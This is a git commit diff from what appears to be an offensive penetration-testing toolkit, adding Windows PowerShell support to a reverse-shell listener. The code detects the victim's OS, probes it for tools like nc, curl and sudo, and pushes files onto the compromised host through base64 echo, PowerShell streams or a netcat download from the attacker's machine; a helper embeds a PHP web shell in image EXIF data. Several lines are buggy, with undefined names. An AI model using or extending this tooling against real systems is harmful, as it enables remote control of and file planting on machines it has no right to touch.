shell win impl.
This commit is contained in:
		
							parent
							
								
									ebb634aeab
								
							
						
					
					
						commit
						4fb2e30bbd
					
				| @ -2,7 +2,11 @@ import os | ||||
| import sys | ||||
| 
 | ||||
| __doc__ = __doc__ or "" | ||||
| __all__ = ["util", "fileserver", "xss_handler", "rev_shell", "xp_cmdshell", "dnsserver", "sqli", "smtpserver"] | ||||
| __all__ = [ | ||||
|     "util", "fileserver", "xss_handler", "rev_shell",  | ||||
|     "xp_cmdshell", "dnsserver", "sqli", "smtpserver",  | ||||
|     "upload_file" | ||||
| ] | ||||
| 
 | ||||
| inc_dir = os.path.dirname(os.path.realpath(__file__)) | ||||
| sys.path.append(inc_dir) | ||||
|  | ||||
							
								
								
									
										117
									
								
								rev_shell.py
									
									
									
									
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										117
									
								
								rev_shell.py
									
									
									
									
									
								
							| @ -5,6 +5,7 @@ import os | ||||
| import sys | ||||
| import pty | ||||
| import util | ||||
| import upload_file | ||||
| import time | ||||
| import random | ||||
| import threading | ||||
| @ -31,6 +32,7 @@ class ShellListener: | ||||
|         self.connection = None | ||||
|         self.on_connect = None | ||||
|         self.features = set() | ||||
|         self.os = None # we need a way to find the OS here | ||||
| 
 | ||||
|     def startBackground(self): | ||||
|         self.listen_thread = threading.Thread(target=self.start) | ||||
| @ -41,11 +43,14 @@ class ShellListener: | ||||
|         return feature.lower() in self.features | ||||
| 
 | ||||
|     def probe_features(self): | ||||
|         if self.os == "unix": | ||||
|             features = ["wget", "curl", "nc", "sudo", "telnet", "docker", "python"] | ||||
|             for feature in features: | ||||
|                 output = self.exec_sync("whereis " + feature) | ||||
|                 if output.startswith(feature.encode() + b": ") and len(output) >= len(feature)+2: | ||||
|                     self.features.add(feature.lower()) | ||||
|         else: | ||||
|             print("[-] Can't probe features for os:", self.os) | ||||
|              | ||||
|     def get_features(self): | ||||
|         return self.features | ||||
| @ -63,14 +68,31 @@ class ShellListener: | ||||
|                 if self.on_connect: | ||||
|                     self.on_connect(addr) | ||||
|            | ||||
|                 got_first_prompt = False | ||||
|                 while self.running: | ||||
|                     data = self.connection.recv(1024) | ||||
|                     if not data: | ||||
|                         break | ||||
|                      | ||||
|                     if self.os is None and not got_first_prompt: | ||||
|                         if b"Windows PowerShell" in data: | ||||
|                             self.os = "win" | ||||
|                         elif b"bash" in data or b"sh" in data: | ||||
|                             self.os = "unix" | ||||
|                          | ||||
|                         if self.os and self.verbose: | ||||
|                             print("OS PROBED:", self.os) | ||||
| 
 | ||||
|                     if self.verbose: | ||||
|                         print("< ", data) | ||||
| 
 | ||||
|                     if got_first_prompt:  # TODO: check this... | ||||
|                         for callback in self.on_message: | ||||
|                             callback(data) | ||||
|                     elif self.is_prompt(data): | ||||
|                         got_first_prompt = True | ||||
|                         if self.verbose: | ||||
|                             print("RECV first prompt") | ||||
| 
 | ||||
|             print("[-] Disconnected") | ||||
|             self.connection = None | ||||
| @ -96,7 +118,23 @@ class ShellListener: | ||||
|         data += b"\n" | ||||
|         return self.send(data) | ||||
| 
 | ||||
|     def is_prompt(self, data): | ||||
|         if self.os == "unix": | ||||
|             if data.endswith(b"# ") or data.endswith(b"$ "): | ||||
|                 return True | ||||
|         elif self.os == "win": | ||||
|             if data.endswith(b"> "): | ||||
|                 return True | ||||
|          | ||||
|         return False | ||||
| 
 | ||||
|     def exec_sync(self, cmd): | ||||
| 
 | ||||
|         if self.os is None: | ||||
|             print("[-] OS not probed yet, waiting...") | ||||
|             while self.os is None: | ||||
|                 time.sleep(0.1) | ||||
| 
 | ||||
|         output = b"" | ||||
|         complete = False | ||||
| 
 | ||||
| @ -111,12 +149,17 @@ class ShellListener: | ||||
|                 return | ||||
| 
 | ||||
|             output += data | ||||
|             if data.endswith(b"# ") or data.endswith(b"$ "): | ||||
|             if self.is_prompt(output): | ||||
|                 complete = True | ||||
|                 if b"\n" in output: | ||||
|                     output = output[0:output.rindex(b"\n")] | ||||
|                 if output.startswith(cmd + b"\n"): | ||||
|                     output = output[len(cmd)+1:] | ||||
|                 if self.os == "unix": | ||||
|                     line_ending = b"\n" | ||||
|                 elif self.os == "win": | ||||
|                     line_ending = b"\r\n" | ||||
| 
 | ||||
|                 if line_ending in output: | ||||
|                     output = output[0:output.rindex(line_ending)] | ||||
|                 if output.startswith(cmd + line_ending): | ||||
|                     output = output[len(cmd)+len(line_ending):]                 | ||||
|          | ||||
|         self.on_message.append(callback) | ||||
|         self.sendline(cmd) | ||||
| @ -140,13 +183,42 @@ class ShellListener: | ||||
|             time.sleep(0.1) | ||||
|         return self.running | ||||
| 
 | ||||
|     def write_file(self, path, data_or_fd, permissions=None): | ||||
|     def get_cwd(self): | ||||
|         if self.os == "unix": | ||||
|             return self.exec_sync("pwd").decode() | ||||
|         elif self.os == "win": | ||||
|             return self.exec_sync("pwd | foreach {$_.Path}").decode() | ||||
|         else: | ||||
|             print("[-] get_cwd not implemented for os:", self.os) | ||||
|             return None | ||||
| 
 | ||||
|     def write_file(self, path, data_or_fd, permissions=None, method=None, sync=False, **kwargs): | ||||
| 
 | ||||
|         if method == None: | ||||
|             if self.os == "win": | ||||
|                 method = "powershell" | ||||
|             elif self.os == "unix": | ||||
|                 method = "echo" | ||||
|         else: | ||||
|             print("[-] No method specified, assuming 'echo'") | ||||
|             method = echo | ||||
| 
 | ||||
|         send_func = self.sendline if not sync else self.exec_sync | ||||
| 
 | ||||
|         def write_chunk(chunk, first=False): | ||||
|             # assume this is unix | ||||
|             chunk = base64.b64encode(chunk).decode() | ||||
|             if method == "powershell": | ||||
|                 send_func(f"$decodedBytes = [System.Convert]::FromBase64String('{chunk}')") | ||||
|                 send_func(f"$stream.Write($decodedBytes, 0, $decodedBytes.Length)") | ||||
|             else: | ||||
|                 operator = ">" if first else ">>" | ||||
|             self.sendline(f"echo {chunk}|base64 -d {operator} {path}") | ||||
|                 send_func(f"echo {chunk}|base64 -d {operator} {path}") | ||||
| 
 | ||||
|         if method == "echo" or method == "powershell": | ||||
| 
 | ||||
|             if method == "powershell": | ||||
|                 path = path.replace("'","\\'") | ||||
|                 send_func(f"$stream = [System.IO.File]::Open('{path}', [System.IO.FileMode]::Create)") | ||||
| 
 | ||||
|             chunk_size = 1024 | ||||
|             if hasattr(data_or_fd, "read"): | ||||
| @ -166,8 +238,31 @@ class ShellListener: | ||||
|                 for offset in range(0, len(data_or_fd), chunk_size): | ||||
|                     write_chunk(data_or_fd[offset:chunk_size], offset == 0) | ||||
|                      | ||||
|         if permissions: | ||||
|             self.sendline(f"chmod {permissions} {path}") | ||||
|             if method == "powershell": | ||||
|                 send_func(f"$stream.Close()") | ||||
| 
 | ||||
|         elif method == "nc" or method == "netcat": | ||||
|             ip_addr = util.get_address() | ||||
|             bin_path = "nc" if not "bin_path" in kwargs else kwargs["bin_path"] | ||||
|             port = None if "listen_port" not in kwargs else int(kwargs["listen_port"]) | ||||
|             sock = util.open_server(ip_addr, port, retry=False) | ||||
|             if not sock: | ||||
|                 return False | ||||
|              | ||||
|             def serve_file(): | ||||
|                 upload_file.serve_file(sock, data_or_fd, forever=False) | ||||
| 
 | ||||
|             port = sock.getsockname()[1] | ||||
|             upload_thread = threading.Thread(target=serve_file) | ||||
|             upload_thread.start() | ||||
|             send_func(f"{bin_path} {ip_addr} {port} > {path}") | ||||
|             upload_thread.join() | ||||
|         else: | ||||
|             print("[-] Unknown write-file method:", method) | ||||
|             return False | ||||
| 
 | ||||
|         if permissions and self.os == "unix": | ||||
|             send_func(f"chmod {permissions} {path}") | ||||
| 
 | ||||
| class ParamikoTunnelServer(SocketServer.ThreadingTCPServer): | ||||
|     daemon_threads = True | ||||
| @ -367,7 +462,7 @@ if __name__ == "__main__": | ||||
|     # choose random port | ||||
|     if listen_port is None: | ||||
|         listen_port = random.randint(10000,65535) | ||||
|         while util.isPortInUse(listen_port): | ||||
|         while util.is_port_in_use(listen_port): | ||||
|             listen_port = random.randint(10000,65535) | ||||
| 
 | ||||
|     payload = generate_payload(payload_type, local_address, listen_port) | ||||
|  | ||||
| @ -3,37 +3,49 @@ | ||||
| import sys | ||||
| import os | ||||
| import util | ||||
| import argparse | ||||
| 
 | ||||
| if len(sys.argv) < 2: | ||||
|     print("Usage: %s <file> [port]" % sys.argv[0]) | ||||
|     exit(1) | ||||
| 
 | ||||
| # Create a TCP/IP socket | ||||
| FILENAME = sys.argv[1] | ||||
| 
 | ||||
| # Bind the socket to the port or choose a random one | ||||
| address = util.get_address() | ||||
| port = None if len(sys.argv) < 3 else int(sys.argv[2]) | ||||
| sock = util.openServer(address, port) | ||||
| if not sock: | ||||
|     exit(1) | ||||
| 
 | ||||
| print("Now listening, download file using:") | ||||
| print('nc %s %d > %s' % (address, sock.getsockname()[1], os.path.basename(FILENAME))) | ||||
| print() | ||||
| 
 | ||||
| def serve_file(listen_sock, path, forever=False): | ||||
|     try: | ||||
|         while True: | ||||
|     # Wait for a connection | ||||
|     print('waiting for a connection') | ||||
|     connection, client_address = sock.accept() | ||||
|             print('[ ] Waiting for a connection') | ||||
|             connection, client_address = listen_sock.accept() | ||||
| 
 | ||||
|             try: | ||||
|         print('connection from', client_address) | ||||
|                 print('[+] Connection from', client_address) | ||||
| 
 | ||||
|                 with open(FILENAME, "rb") as f: | ||||
|                     content = f.read() | ||||
|                     connection.sendall(content) | ||||
| 
 | ||||
|                 print("[+] File Transfer succeeded") | ||||
|             finally: | ||||
|         # Clean up the connection | ||||
|                 connection.close() | ||||
| 
 | ||||
|             if not forever: | ||||
|                 break | ||||
|     finally: | ||||
|         listen_sock.close() | ||||
|              | ||||
| if __name__ == "__main__": | ||||
| 
 | ||||
|     parser = argparse.ArgumentParser(description="File Transfer using netcat") | ||||
|     parser.add_argument("--port", type=int, required=False, default=None, help="Listening port") | ||||
|     parser.add_argument("--path", type=str, required=True, help="Path to the file you wish to upload") | ||||
|     args = parser.parse_args() | ||||
| 
 | ||||
|     path = args.path | ||||
|     if not os.path.isfile(path): | ||||
|         print("[-] File not found:", path) | ||||
|         exit(1) | ||||
| 
 | ||||
|     address = util.get_address() | ||||
|     sock = util.open_server(address, args.port) | ||||
|     if not sock: | ||||
|         exit(1) | ||||
| 
 | ||||
|     print("[+] Now listening, download file using:") | ||||
|     print('nc %s %d > %s' % (address, sock.getsockname()[1], os.path.basename(path))) | ||||
|     print() | ||||
| 
 | ||||
|     serve_file(listen_sock, path, forever=True) | ||||
|  | ||||
							
								
								
									
										23
									
								
								util.py
									
									
									
									
									
								
							
							
								
								
								
								
								
									
									
								
							
						
						
									
										23
									
								
								util.py
									
									
									
									
									
								
							| @ -12,13 +12,14 @@ import os | ||||
| import io | ||||
| import json | ||||
| 
 | ||||
| from PIL import Image | ||||
| 
 | ||||
| def isPortInUse(port): | ||||
| def is_port_in_use(port): | ||||
|     import socket | ||||
|     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: | ||||
|         return s.connect_ex(('127.0.0.1', port)) == 0 | ||||
| 
 | ||||
| def get_payload_path(path): | ||||
|     return os.path.realpath(os.path.join(os.path.dirname(__file__), path)) | ||||
| 
 | ||||
| def get_address(interface={"tun0", "vpn0"}): | ||||
|     if not isinstance(interface, str): | ||||
|         requested = set(interface) | ||||
| @ -111,28 +112,27 @@ def assert_json_path(res, path, value, err=None): | ||||
|     err = f"[-] '{res.url}' value at path '{path}' does not match. got={json_data} expected={value}" if err is None else err | ||||
|     exit_with_error(res, err) | ||||
| 
 | ||||
| def openServer(address, ports=None): | ||||
|     listenPort = None | ||||
|     retry = True | ||||
| def open_server(address, ports=None, retry=True): | ||||
|     listen_port = None | ||||
|     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | ||||
| 
 | ||||
|     while retry: | ||||
| 
 | ||||
|         if isinstance(ports, int): | ||||
|             listenPort = ports | ||||
|             listen_port = ports | ||||
|             retry = False | ||||
|         elif isinstance(ports, range): | ||||
|             listenPort = random.randint(ports[0],ports[-1]) | ||||
|             listen_port = random.randint(ports[0], ports[-1]) | ||||
|         elif ports is None: | ||||
|             listenPort = random.randint(10000,65535) | ||||
|             listen_port = random.randint(10000,65535) | ||||
| 
 | ||||
|         try: | ||||
|             sock.bind((address, listenPort)) | ||||
|             sock.bind((address, listen_port)) | ||||
|             sock.listen(1) | ||||
|             return sock | ||||
|         except Exception as e: | ||||
|             if not retry: | ||||
|                 print("Unable to listen on port %d: %s" % (listenPort, str(e))) | ||||
|                 print("[-] Unable to listen on port %d: %s" % (listenPort, str(e))) | ||||
|             raise e | ||||
| 
 | ||||
| class Stack: | ||||
| @ -222,6 +222,7 @@ def base64urldecode(data): | ||||
| 
 | ||||
| def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None, _format=None): | ||||
|     import exif | ||||
|     from PIL import Image | ||||
| 
 | ||||
|     if _in is None or (isinstance(_in, str) and not os.path.exists(_in)): | ||||
|         _in = Image.new("RGB", (50,50), (255,255,255)) | ||||
|  | ||||
| @ -88,7 +88,7 @@ if __name__ == "__main__": | ||||
| 
 | ||||
|     # choose random port | ||||
|     if listen_port is None: | ||||
|         sock = util.openServer(local_address) | ||||
|         sock = util.open_server(local_address) | ||||
|         if not sock: | ||||
|             exit(1) | ||||
|         listen_port = sock.getsockname()[1] | ||||
|  | ||||
		Loading…
	
		Reference in New Issue
	
	Block a user